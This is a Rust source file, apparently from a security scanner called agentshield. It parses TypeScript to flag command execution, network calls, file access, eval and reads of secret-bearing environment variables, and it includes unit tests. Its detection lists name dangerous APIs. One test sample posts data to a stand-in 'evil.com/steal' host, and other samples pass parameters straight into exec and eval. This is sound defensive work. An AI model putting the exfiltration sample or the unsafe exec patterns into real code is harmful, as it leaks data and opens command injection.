Skip to main content

agentshield/parser/
typescript.rs

1use std::collections::HashSet;
2use std::path::{Path, PathBuf};
3
4use once_cell::sync::Lazy;
5use regex::Regex;
6
7use super::{FunctionParam, LanguageParser, ParsedFile};
8use crate::error::Result;
9use crate::ir::execution_surface::*;
10use crate::ir::{ArgumentSource, Language, SourceLocation};
11
12pub struct TypeScriptParser;
13
14// ── Dangerous patterns ───────────────────────────────────────────
15
16static EXEC_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
17    vec![
18        "exec",
19        "execSync",
20        "execFile",
21        "execFileSync",
22        "spawn",
23        "spawnSync",
24        "child_process.exec",
25        "child_process.execSync",
26        "child_process.execFile",
27        "child_process.execFileSync",
28        "child_process.spawn",
29        "child_process.spawnSync",
30        "cp.exec",
31        "cp.execSync",
32        "cp.spawn",
33        "cp.spawnSync",
34        "shelljs.exec",
35        "execa",
36        "execaSync",
37    ]
38});
39
40static NETWORK_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
41    vec![
42        "fetch",
43        "http.get",
44        "http.request",
45        "https.get",
46        "https.request",
47        "axios",
48        "axios.get",
49        "axios.post",
50        "axios.put",
51        "axios.patch",
52        "axios.delete",
53        "axios.request",
54        "got",
55        "got.get",
56        "got.post",
57        "got.put",
58        "got.patch",
59        "got.delete",
60        "request",
61        "request.get",
62        "request.post",
63        "superagent.get",
64        "superagent.post",
65        "undici.fetch",
66        "undici.request",
67    ]
68});
69
70static FILE_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
71    vec![
72        "readFile",
73        "readFileSync",
74        "writeFile",
75        "writeFileSync",
76        "appendFile",
77        "appendFileSync",
78        "unlink",
79        "unlinkSync",
80        "readdir",
81        "readdirSync",
82        "fs.readFile",
83        "fs.readFileSync",
84        "fs.writeFile",
85        "fs.writeFileSync",
86        "fs.appendFile",
87        "fs.appendFileSync",
88        "fs.unlink",
89        "fs.unlinkSync",
90        "fs.readdir",
91        "fs.readdirSync",
92        "fs.promises.readFile",
93        "fs.promises.writeFile",
94        "fs.promises.unlink",
95        "fs.promises.readdir",
96        "Deno.readTextFile",
97        "Deno.writeTextFile",
98        "Deno.readFile",
99        "Deno.writeFile",
100        "Bun.file",
101    ]
102});
103
104static DYNAMIC_EXEC_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
105    vec![
106        "eval",
107        "Function",
108        "vm.runInThisContext",
109        "vm.runInNewContext",
110    ]
111});
112
113static SENSITIVE_ENV_VARS: Lazy<Regex> = Lazy::new(|| {
114    Regex::new(r"(?i)(AWS_|SECRET|TOKEN|PASSWORD|API_KEY|PRIVATE_KEY|CREDENTIALS|AUTH)").unwrap()
115});
116
117// Template literal with interpolation: `...${expr}...`
118static TEMPLATE_LITERAL_RE: Lazy<Regex> = Lazy::new(|| Regex::new(r"\$\{[^}]+\}").unwrap());
119
120// ── tree-sitter AST parser ──────────────────────────────────────
121
122#[cfg(feature = "typescript")]
123impl LanguageParser for TypeScriptParser {
124    fn language(&self) -> Language {
125        Language::TypeScript
126    }
127
128    fn parse_file(&self, path: &Path, content: &str) -> Result<ParsedFile> {
129        let mut parser = tree_sitter::Parser::new();
130        let is_tsx = path
131            .extension()
132            .is_some_and(|ext| ext == "tsx" || ext == "jsx");
133
134        let lang = if is_tsx {
135            tree_sitter_typescript::LANGUAGE_TSX
136        } else {
137            tree_sitter_typescript::LANGUAGE_TYPESCRIPT
138        };
139
140        parser
141            .set_language(&lang.into())
142            .map_err(|e| crate::error::ShieldError::Parse {
143                file: path.display().to_string(),
144                message: format!("Failed to load TypeScript grammar: {e}"),
145            })?;
146
147        let tree = parser
148            .parse(content, None)
149            .ok_or_else(|| crate::error::ShieldError::Parse {
150                file: path.display().to_string(),
151                message: "tree-sitter failed to parse TypeScript".into(),
152            })?;
153
154        let file_path = PathBuf::from(path);
155        let source = content.as_bytes();
156        let mut parsed = ParsedFile::default();
157        let mut param_names = HashSet::new();
158
159        // Phase 1: Collect function parameters
160        collect_params(
161            tree.root_node(),
162            source,
163            &file_path,
164            &mut param_names,
165            &mut parsed,
166        );
167
168        // Phase 2: Walk AST for call expressions and env accesses
169        walk_node(
170            tree.root_node(),
171            source,
172            &file_path,
173            &param_names,
174            &mut parsed,
175        );
176
177        Ok(parsed)
178    }
179}
180
181/// Recursively collect function/method/arrow parameter names.
182#[cfg(feature = "typescript")]
183fn collect_params(
184    node: tree_sitter::Node,
185    source: &[u8],
186    file_path: &Path,
187    param_names: &mut HashSet<String>,
188    parsed: &mut ParsedFile,
189) {
190    let kind = node.kind();
191
192    // Function declarations, arrow functions, method definitions
193    if kind == "function_declaration"
194        || kind == "function"
195        || kind == "arrow_function"
196        || kind == "method_definition"
197        || kind == "function_expression"
198    {
199        let func_name = extract_function_name(node, source).unwrap_or_default();
200        if let Some(params_node) = node.child_by_field_name("parameters") {
201            for i in 0..params_node.named_child_count() {
202                if let Some(param) = params_node.named_child(i) {
203                    for name in extract_param_names(param, source) {
204                        if name != "this" {
205                            param_names.insert(name.clone());
206                            parsed.function_params.push(FunctionParam {
207                                function_name: func_name.clone(),
208                                param_name: name,
209                                location: loc(file_path, param),
210                            });
211                        }
212                    }
213                }
214            }
215        }
216    }
217
218    // Recurse
219    for i in 0..node.named_child_count() {
220        if let Some(child) = node.named_child(i) {
221            collect_params(child, source, file_path, param_names, parsed);
222        }
223    }
224}
225
226/// Extract a function's name from its AST node.
227#[cfg(feature = "typescript")]
228fn extract_function_name(node: tree_sitter::Node, source: &[u8]) -> Option<String> {
229    // For function_declaration/method_definition: name field
230    if let Some(name_node) = node.child_by_field_name("name") {
231        return Some(node_text(name_node, source).to_string());
232    }
233
234    // For arrow functions assigned to variables: look at parent
235    // const handler = async (params) => { ... }
236    if node.kind() == "arrow_function" || node.kind() == "function_expression" {
237        if let Some(parent) = node.parent() {
238            if parent.kind() == "variable_declarator" {
239                if let Some(name_node) = parent.child_by_field_name("name") {
240                    return Some(node_text(name_node, source).to_string());
241                }
242            }
243        }
244    }
245
246    None
247}
248
249/// Extract parameter name(s) from a formal_parameters child node.
250/// Returns a Vec because destructured patterns yield multiple names.
251#[cfg(feature = "typescript")]
252fn extract_param_names(node: tree_sitter::Node, source: &[u8]) -> Vec<String> {
253    match node.kind() {
254        // required_parameter or optional_parameter: has "pattern" field
255        "required_parameter" | "optional_parameter" => {
256            if let Some(pattern) = node.child_by_field_name("pattern") {
257                if pattern.kind() == "identifier" {
258                    return vec![node_text(pattern, source).to_string()];
259                }
260                // Destructured object pattern: { url, name } => ["url", "name"]
261                if pattern.kind() == "object_pattern" {
262                    return extract_object_pattern_names(pattern, source);
263                }
264                // Destructured array pattern: [a, b] => ["a", "b"]
265                if pattern.kind() == "array_pattern" {
266                    return extract_array_pattern_names(pattern, source);
267                }
268            }
269            vec![]
270        }
271        // Rest parameter: ...args
272        "rest_pattern" => {
273            for i in 0..node.named_child_count() {
274                if let Some(child) = node.named_child(i) {
275                    if child.kind() == "identifier" {
276                        return vec![node_text(child, source).to_string()];
277                    }
278                }
279            }
280            vec![]
281        }
282        // Plain identifier (JS-style params without type annotations)
283        "identifier" => vec![node_text(node, source).to_string()],
284        _ => vec![],
285    }
286}
287
288/// Extract property names from an object destructuring pattern: { url, name }
289#[cfg(feature = "typescript")]
290fn extract_object_pattern_names(node: tree_sitter::Node, source: &[u8]) -> Vec<String> {
291    let mut names = Vec::new();
292    for i in 0..node.named_child_count() {
293        if let Some(child) = node.named_child(i) {
294            match child.kind() {
295                // shorthand_property_identifier_pattern: { url } => "url"
296                "shorthand_property_identifier_pattern" => {
297                    names.push(node_text(child, source).to_string());
298                }
299                // pair_pattern: { url: myUrl } => "myUrl"
300                "pair_pattern" => {
301                    if let Some(value) = child.child_by_field_name("value") {
302                        if value.kind() == "identifier" {
303                            names.push(node_text(value, source).to_string());
304                        }
305                    }
306                }
307                _ => {}
308            }
309        }
310    }
311    names
312}
313
314/// Extract names from an array destructuring pattern: [a, b]
315#[cfg(feature = "typescript")]
316fn extract_array_pattern_names(node: tree_sitter::Node, source: &[u8]) -> Vec<String> {
317    let mut names = Vec::new();
318    for i in 0..node.named_child_count() {
319        if let Some(child) = node.named_child(i) {
320            if child.kind() == "identifier" {
321                names.push(node_text(child, source).to_string());
322            }
323        }
324    }
325    names
326}
327
328/// Walk the AST looking for call_expression and member_expression (for env access).
329#[cfg(feature = "typescript")]
330fn walk_node(
331    node: tree_sitter::Node,
332    source: &[u8],
333    file_path: &Path,
334    param_names: &HashSet<String>,
335    parsed: &mut ParsedFile,
336) {
337    let kind = node.kind();
338
339    // Check for process.env access: process.env.VAR or process.env["VAR"]
340    if kind == "member_expression" || kind == "subscript_expression" {
341        let text = node_text(node, source);
342        if text.starts_with("process.env") {
343            let var_name = extract_env_var_name(node, source);
344            if let Some(name) = &var_name {
345                let is_sensitive = SENSITIVE_ENV_VARS.is_match(name);
346                parsed.env_accesses.push(EnvAccess {
347                    var_name: ArgumentSource::Literal(name.clone()),
348                    is_sensitive,
349                    location: loc(file_path, node),
350                });
351            }
352        }
353    }
354
355    // Check for call_expression
356    if kind == "call_expression" {
357        if let Some(func_node) = node.child_by_field_name("function") {
358            let func_name = resolve_call_name(func_node, source);
359
360            // Get arguments text for classification
361            let args_text = node
362                .child_by_field_name("arguments")
363                .map(|args| {
364                    // Get first argument node text
365                    if args.named_child_count() > 0 {
366                        args.named_child(0)
367                            .map(|arg| node_text(arg, source).to_string())
368                            .unwrap_or_default()
369                    } else {
370                        String::new()
371                    }
372                })
373                .unwrap_or_default();
374
375            let arg_source = classify_argument_text(&args_text, param_names);
376
377            // Command execution
378            if matches_pattern(&func_name, &EXEC_PATTERNS) {
379                parsed.commands.push(CommandInvocation {
380                    function: func_name.clone(),
381                    command_arg: arg_source.clone(),
382                    location: loc(file_path, node),
383                });
384            }
385
386            // Network operations
387            if matches_pattern(&func_name, &NETWORK_PATTERNS) {
388                let full_args_text = node
389                    .child_by_field_name("arguments")
390                    .map(|a| node_text(a, source).to_string())
391                    .unwrap_or_default();
392                let sends_data = func_name.contains("post")
393                    || func_name.contains("put")
394                    || func_name.contains("patch")
395                    || full_args_text.contains("body:")
396                    || full_args_text.contains("data:");
397                let method = if func_name.contains("get") {
398                    Some("GET".into())
399                } else if func_name.contains("post") {
400                    Some("POST".into())
401                } else if func_name.contains("put") {
402                    Some("PUT".into())
403                } else {
404                    None
405                };
406                parsed.network_operations.push(NetworkOperation {
407                    function: func_name.clone(),
408                    url_arg: arg_source.clone(),
409                    method,
410                    sends_data,
411                    location: loc(file_path, node),
412                });
413            }
414
415            // Dynamic execution
416            if DYNAMIC_EXEC_PATTERNS.contains(&func_name.as_str()) {
417                parsed.dynamic_exec.push(DynamicExec {
418                    function: func_name.clone(),
419                    code_arg: arg_source.clone(),
420                    location: loc(file_path, node),
421                });
422            }
423
424            // File operations
425            if matches_pattern(&func_name, &FILE_PATTERNS) {
426                let op_type = if func_name.contains("write") || func_name.contains("append") {
427                    FileOpType::Write
428                } else if func_name.contains("unlink") {
429                    FileOpType::Delete
430                } else if func_name.contains("readdir") {
431                    FileOpType::List
432                } else {
433                    FileOpType::Read
434                };
435                parsed.file_operations.push(FileOperation {
436                    operation: op_type,
437                    path_arg: arg_source.clone(),
438                    location: loc(file_path, node),
439                });
440            }
441        }
442    }
443
444    // Recurse into children (skip already-processed subtrees)
445    for i in 0..node.named_child_count() {
446        if let Some(child) = node.named_child(i) {
447            walk_node(child, source, file_path, param_names, parsed);
448        }
449    }
450}
451
452/// Resolve a call expression's function name from its AST node.
453/// Handles: identifier, member_expression chains (a.b.c), optional_chain.
454#[cfg(feature = "typescript")]
455fn resolve_call_name(node: tree_sitter::Node, source: &[u8]) -> String {
456    match node.kind() {
457        "identifier" => node_text(node, source).to_string(),
458        "member_expression" | "optional_chain_expression" => {
459            // Flatten the member chain: a.b.c
460            node_text(node, source).replace(['\n', ' '], "").to_string()
461        }
462        _ => node_text(node, source).to_string(),
463    }
464}
465
466/// Extract environment variable name from process.env access.
467#[cfg(feature = "typescript")]
468fn extract_env_var_name(node: tree_sitter::Node, source: &[u8]) -> Option<String> {
469    let text = node_text(node, source);
470    // process.env.VAR_NAME
471    if let Some(rest) = text.strip_prefix("process.env.") {
472        return Some(rest.to_string());
473    }
474    // process.env["VAR_NAME"] or process.env['VAR_NAME']
475    if node.kind() == "subscript_expression" {
476        if let Some(index) = node.child_by_field_name("index") {
477            let idx_text = node_text(index, source);
478            let trimmed = idx_text.trim_matches('"').trim_matches('\'').to_string();
479            if !trimmed.is_empty() {
480                return Some(trimmed);
481            }
482        }
483    }
484    None
485}
486
487/// Get the text of a tree-sitter node.
488#[cfg(feature = "typescript")]
489fn node_text<'a>(node: tree_sitter::Node, source: &'a [u8]) -> &'a str {
490    node.utf8_text(source).unwrap_or("")
491}
492
493/// Build a SourceLocation from a tree-sitter node (1-indexed lines).
494#[cfg(feature = "typescript")]
495fn loc(file: &Path, node: tree_sitter::Node) -> SourceLocation {
496    let start = node.start_position();
497    let end = node.end_position();
498    SourceLocation {
499        file: file.to_path_buf(),
500        line: start.row + 1,
501        column: start.column,
502        end_line: Some(end.row + 1),
503        end_column: Some(end.column),
504    }
505}
506
507// ── Regex fallback parser (when typescript feature is disabled) ──
508
509#[cfg(not(feature = "typescript"))]
510static CALL_RE: Lazy<Regex> =
511    Lazy::new(|| Regex::new(r"(?m)(\w+(?:\.\w+)*)\s*\(([^)]*)\)").unwrap());
512
513#[cfg(not(feature = "typescript"))]
514static ENV_ACCESS_RE: Lazy<Regex> = Lazy::new(|| {
515    Regex::new(r#"(?m)process\.env\s*(?:\[\s*["']([^"']+)["']\s*\]|\.([A-Z_][A-Z0-9_]*))"#).unwrap()
516});
517
518#[cfg(not(feature = "typescript"))]
519static FUNC_DEF_RE: Lazy<Regex> = Lazy::new(|| {
520    Regex::new(
521        r"(?m)(?:(?:export\s+)?(?:async\s+)?function\s+(\w+)\s*\(([^)]*)\)|(?:const|let|var)\s+(\w+)\s*=\s*(?:async\s+)?\(([^)]*)\)\s*(?:=>|:\s*\w+\s*=>)|(\w+)\s*\(([^)]*)\)\s*(?::\s*\w+\s*)?\{)"
522    ).unwrap()
523});
524
525#[cfg(not(feature = "typescript"))]
526impl LanguageParser for TypeScriptParser {
527    fn language(&self) -> Language {
528        Language::TypeScript
529    }
530
531    fn parse_file(&self, path: &Path, content: &str) -> Result<ParsedFile> {
532        let mut parsed = ParsedFile::default();
533        let file_path = PathBuf::from(path);
534        let mut param_names = HashSet::new();
535
536        // Collect function parameter names
537        for cap in FUNC_DEF_RE.captures_iter(content) {
538            let params_str = cap
539                .get(2)
540                .or_else(|| cap.get(4))
541                .or_else(|| cap.get(6))
542                .map(|m| m.as_str())
543                .unwrap_or("");
544            let func_name = cap
545                .get(1)
546                .or_else(|| cap.get(3))
547                .or_else(|| cap.get(5))
548                .map(|m| m.as_str())
549                .unwrap_or("");
550
551            for param in params_str.split(',') {
552                let param = param.trim();
553                if param.starts_with('{') || param.starts_with('[') {
554                    continue;
555                }
556                let param = param.split(':').next().unwrap_or("").trim();
557                let param = param.split('=').next().unwrap_or("").trim();
558                let param = param.trim_start_matches("...");
559                let param = param.trim_end_matches('?');
560                if !param.is_empty() && param != "this" {
561                    param_names.insert(param.to_string());
562                    parsed.function_params.push(FunctionParam {
563                        function_name: func_name.to_string(),
564                        param_name: param.to_string(),
565                        location: regex_loc(&file_path, 0),
566                    });
567                }
568            }
569        }
570
571        // Scan line by line
572        for (line_idx, line) in content.lines().enumerate() {
573            let line_num = line_idx + 1;
574            let trimmed = line.trim();
575
576            if trimmed.starts_with("//") || trimmed.starts_with('*') || trimmed.starts_with("/*") {
577                continue;
578            }
579
580            for cap in ENV_ACCESS_RE.captures_iter(line) {
581                let var_name = cap
582                    .get(1)
583                    .or_else(|| cap.get(2))
584                    .map(|m| m.as_str().to_string())
585                    .unwrap_or_default();
586                let is_sensitive = SENSITIVE_ENV_VARS.is_match(&var_name);
587                parsed.env_accesses.push(EnvAccess {
588                    var_name: ArgumentSource::Literal(var_name),
589                    is_sensitive,
590                    location: regex_loc(&file_path, line_num),
591                });
592            }
593
594            for cap in CALL_RE.captures_iter(line) {
595                let func_name = &cap[1];
596                let args_str = &cap[2];
597                let arg_source = classify_argument_text(args_str, &param_names);
598
599                if matches_pattern(func_name, &EXEC_PATTERNS) {
600                    parsed.commands.push(CommandInvocation {
601                        function: func_name.to_string(),
602                        command_arg: arg_source.clone(),
603                        location: regex_loc(&file_path, line_num),
604                    });
605                }
606
607                if matches_pattern(func_name, &NETWORK_PATTERNS) {
608                    let sends_data = func_name.contains("post")
609                        || func_name.contains("put")
610                        || func_name.contains("patch")
611                        || args_str.contains("body:")
612                        || args_str.contains("data:");
613                    let method = if func_name.contains("get") {
614                        Some("GET".into())
615                    } else if func_name.contains("post") {
616                        Some("POST".into())
617                    } else if func_name.contains("put") {
618                        Some("PUT".into())
619                    } else {
620                        None
621                    };
622                    parsed.network_operations.push(NetworkOperation {
623                        function: func_name.to_string(),
624                        url_arg: arg_source.clone(),
625                        method,
626                        sends_data,
627                        location: regex_loc(&file_path, line_num),
628                    });
629                }
630
631                if DYNAMIC_EXEC_PATTERNS.contains(&func_name) {
632                    parsed.dynamic_exec.push(DynamicExec {
633                        function: func_name.to_string(),
634                        code_arg: arg_source.clone(),
635                        location: regex_loc(&file_path, line_num),
636                    });
637                }
638
639                if matches_pattern(func_name, &FILE_PATTERNS) {
640                    let op_type = if func_name.contains("write") || func_name.contains("append") {
641                        FileOpType::Write
642                    } else if func_name.contains("unlink") {
643                        FileOpType::Delete
644                    } else if func_name.contains("readdir") {
645                        FileOpType::List
646                    } else {
647                        FileOpType::Read
648                    };
649                    parsed.file_operations.push(FileOperation {
650                        operation: op_type,
651                        path_arg: arg_source.clone(),
652                        location: regex_loc(&file_path, line_num),
653                    });
654                }
655            }
656        }
657
658        Ok(parsed)
659    }
660}
661
662#[cfg(not(feature = "typescript"))]
663fn regex_loc(file: &Path, line: usize) -> SourceLocation {
664    SourceLocation {
665        file: file.to_path_buf(),
666        line,
667        column: 0,
668        end_line: None,
669        end_column: None,
670    }
671}
672
673// ── Shared helpers ──────────────────────────────────────────────
674
675/// Check if a function name matches any pattern in the list.
676fn matches_pattern(func_name: &str, patterns: &[&str]) -> bool {
677    patterns
678        .iter()
679        .any(|p| func_name == *p || func_name.ends_with(p))
680}
681
682/// Classify an argument text to determine its source.
683fn classify_argument_text(arg_text: &str, param_names: &HashSet<String>) -> ArgumentSource {
684    let first_arg = arg_text.split(',').next().unwrap_or("").trim();
685
686    if first_arg.is_empty() {
687        return ArgumentSource::Unknown;
688    }
689
690    // String literal (double or single quoted)
691    if (first_arg.starts_with('"') && first_arg.ends_with('"'))
692        || (first_arg.starts_with('\'') && first_arg.ends_with('\''))
693    {
694        let val = &first_arg[1..first_arg.len() - 1];
695        return ArgumentSource::Literal(val.to_string());
696    }
697
698    // Template literal with interpolation: `...${var}...`
699    if first_arg.starts_with('`') {
700        if TEMPLATE_LITERAL_RE.is_match(first_arg) {
701            return ArgumentSource::Interpolated;
702        }
703        let val = first_arg.trim_matches('`');
704        return ArgumentSource::Literal(val.to_string());
705    }
706
707    // String concatenation with +
708    if first_arg.contains('+') && (first_arg.contains('"') || first_arg.contains('\'')) {
709        return ArgumentSource::Interpolated;
710    }
711
712    // process.env reference
713    if first_arg.contains("process.env") {
714        return ArgumentSource::EnvVar {
715            name: first_arg.to_string(),
716        };
717    }
718
719    // Known function parameter
720    let ident = first_arg.split('.').next().unwrap_or(first_arg);
721    let ident = ident.split('[').next().unwrap_or(ident);
722    if param_names.contains(ident) {
723        return ArgumentSource::Parameter {
724            name: ident.to_string(),
725        };
726    }
727
728    ArgumentSource::Unknown
729}
730
731#[cfg(test)]
732mod tests {
733    use super::*;
734
735    #[test]
736    fn detects_exec_with_param() {
737        let code = r#"
738import { exec } from "child_process";
739
740function runCommand(command: string) {
741    exec(command);
742}
743"#;
744        let parsed = TypeScriptParser
745            .parse_file(Path::new("test.ts"), code)
746            .unwrap();
747        assert_eq!(parsed.commands.len(), 1);
748        assert!(matches!(
749            parsed.commands[0].command_arg,
750            ArgumentSource::Parameter { .. }
751        ));
752    }
753
754    #[test]
755    fn detects_spawn_with_interpolation() {
756        let code = r#"
757function run(cmd: string) {
758    exec(`${cmd} --flag`);
759}
760"#;
761        let parsed = TypeScriptParser
762            .parse_file(Path::new("test.ts"), code)
763            .unwrap();
764        assert_eq!(parsed.commands.len(), 1);
765        assert!(matches!(
766            parsed.commands[0].command_arg,
767            ArgumentSource::Interpolated
768        ));
769    }
770
771    #[test]
772    fn detects_fetch_with_param() {
773        let code = r#"
774async function fetchUrl(url: string) {
775    const resp = await fetch(url);
776    return resp.json();
777}
778"#;
779        let parsed = TypeScriptParser
780            .parse_file(Path::new("test.ts"), code)
781            .unwrap();
782        assert_eq!(parsed.network_operations.len(), 1);
783        assert!(matches!(
784            parsed.network_operations[0].url_arg,
785            ArgumentSource::Parameter { .. }
786        ));
787    }
788
789    #[test]
790    fn safe_literal_url_not_flagged() {
791        let code = r#"
792async function getHealth() {
793    const resp = await fetch("https://api.example.com/health");
794    return resp.json();
795}
796"#;
797        let parsed = TypeScriptParser
798            .parse_file(Path::new("test.ts"), code)
799            .unwrap();
800        assert_eq!(parsed.network_operations.len(), 1);
801        assert!(matches!(
802            parsed.network_operations[0].url_arg,
803            ArgumentSource::Literal(_)
804        ));
805    }
806
807    #[test]
808    fn detects_env_var_access() {
809        let code = r#"
810const apiKey = process.env["OPENAI_API_KEY"];
811const secret = process.env.AWS_SECRET_ACCESS_KEY;
812"#;
813        let parsed = TypeScriptParser
814            .parse_file(Path::new("test.ts"), code)
815            .unwrap();
816        assert_eq!(parsed.env_accesses.len(), 2);
817        assert!(parsed.env_accesses[0].is_sensitive);
818        assert!(parsed.env_accesses[1].is_sensitive);
819    }
820
821    #[test]
822    fn detects_eval() {
823        let code = r#"
824function execute(code: string) {
825    eval(code);
826}
827"#;
828        let parsed = TypeScriptParser
829            .parse_file(Path::new("test.ts"), code)
830            .unwrap();
831        assert_eq!(parsed.dynamic_exec.len(), 1);
832        assert!(matches!(
833            parsed.dynamic_exec[0].code_arg,
834            ArgumentSource::Parameter { .. }
835        ));
836    }
837
838    #[test]
839    fn detects_file_operations() {
840        let code = r#"
841import fs from "fs";
842
843function readConfig(path: string) {
844    return fs.readFileSync(path, "utf-8");
845}
846"#;
847        let parsed = TypeScriptParser
848            .parse_file(Path::new("test.ts"), code)
849            .unwrap();
850        assert_eq!(parsed.file_operations.len(), 1);
851        assert!(matches!(
852            parsed.file_operations[0].path_arg,
853            ArgumentSource::Parameter { .. }
854        ));
855    }
856
857    #[test]
858    fn detects_arrow_function_params() {
859        let code = r#"
860const handler = async (url: string) => {
861    const resp = await fetch(url);
862    return resp.text();
863};
864"#;
865        let parsed = TypeScriptParser
866            .parse_file(Path::new("test.ts"), code)
867            .unwrap();
868        assert_eq!(parsed.network_operations.len(), 1);
869        assert!(matches!(
870            parsed.network_operations[0].url_arg,
871            ArgumentSource::Parameter { .. }
872        ));
873    }
874
875    #[test]
876    fn detects_axios_post() {
877        let code = r#"
878async function exfiltrate(data: string) {
879    await axios.post("https://evil.com/steal", { body: data });
880}
881"#;
882        let parsed = TypeScriptParser
883            .parse_file(Path::new("test.ts"), code)
884            .unwrap();
885        assert_eq!(parsed.network_operations.len(), 1);
886        assert!(parsed.network_operations[0].sends_data);
887    }
888
889    // ── Tests requiring tree-sitter AST (multi-line, TSX, accurate positions) ──
890
891    #[cfg(feature = "typescript")]
892    #[test]
893    fn detects_multiline_exec_call() {
894        let code = r#"
895function runCommand(command: string) {
896    exec(
897        command,
898        { encoding: "utf-8" }
899    );
900}
901"#;
902        let parsed = TypeScriptParser
903            .parse_file(Path::new("test.ts"), code)
904            .unwrap();
905        assert_eq!(parsed.commands.len(), 1);
906        assert!(matches!(
907            parsed.commands[0].command_arg,
908            ArgumentSource::Parameter { .. }
909        ));
910    }
911
912    #[cfg(feature = "typescript")]
913    #[test]
914    fn detects_multiline_fetch() {
915        let code = r#"
916async function sendData(url: string) {
917    const resp = await fetch(
918        url,
919        {
920            method: "POST",
921            body: JSON.stringify({ key: "value" }),
922        }
923    );
924    return resp.json();
925}
926"#;
927        let parsed = TypeScriptParser
928            .parse_file(Path::new("test.ts"), code)
929            .unwrap();
930        assert_eq!(parsed.network_operations.len(), 1);
931        assert!(matches!(
932            parsed.network_operations[0].url_arg,
933            ArgumentSource::Parameter { .. }
934        ));
935    }
936
937    #[cfg(feature = "typescript")]
938    #[test]
939    fn detects_nested_callback_exec() {
940        let code = r#"
941function runCommand(command: string): Promise<string> {
942    return new Promise((resolve, reject) => {
943        exec(command, (error, stdout) => {
944            if (error) reject(error);
945            resolve(stdout);
946        });
947    });
948}
949"#;
950        let parsed = TypeScriptParser
951            .parse_file(Path::new("test.ts"), code)
952            .unwrap();
953        assert_eq!(parsed.commands.len(), 1);
954        assert!(matches!(
955            parsed.commands[0].command_arg,
956            ArgumentSource::Parameter { .. }
957        ));
958    }
959
960    #[cfg(feature = "typescript")]
961    #[test]
962    fn accurate_line_numbers() {
963        let code = r#"
964// line 2
965// line 3
966function dangerous(cmd: string) {
967    exec(cmd);
968}
969"#;
970        let parsed = TypeScriptParser
971            .parse_file(Path::new("test.ts"), code)
972            .unwrap();
973        assert_eq!(parsed.commands.len(), 1);
974        // exec(cmd) is on line 5
975        assert_eq!(parsed.commands[0].location.line, 5);
976    }
977
978    #[cfg(feature = "typescript")]
979    #[test]
980    fn handles_tsx_file() {
981        let code = r#"
982import React from "react";
983
984const Component = ({ url }: { url: string }) => {
985    const data = fetch(url);
986    return <div>{data}</div>;
987};
988"#;
989        let parsed = TypeScriptParser
990            .parse_file(Path::new("component.tsx"), code)
991            .unwrap();
992        assert_eq!(parsed.network_operations.len(), 1);
993        assert!(matches!(
994            parsed.network_operations[0].url_arg,
995            ArgumentSource::Parameter { .. }
996        ));
997    }
998}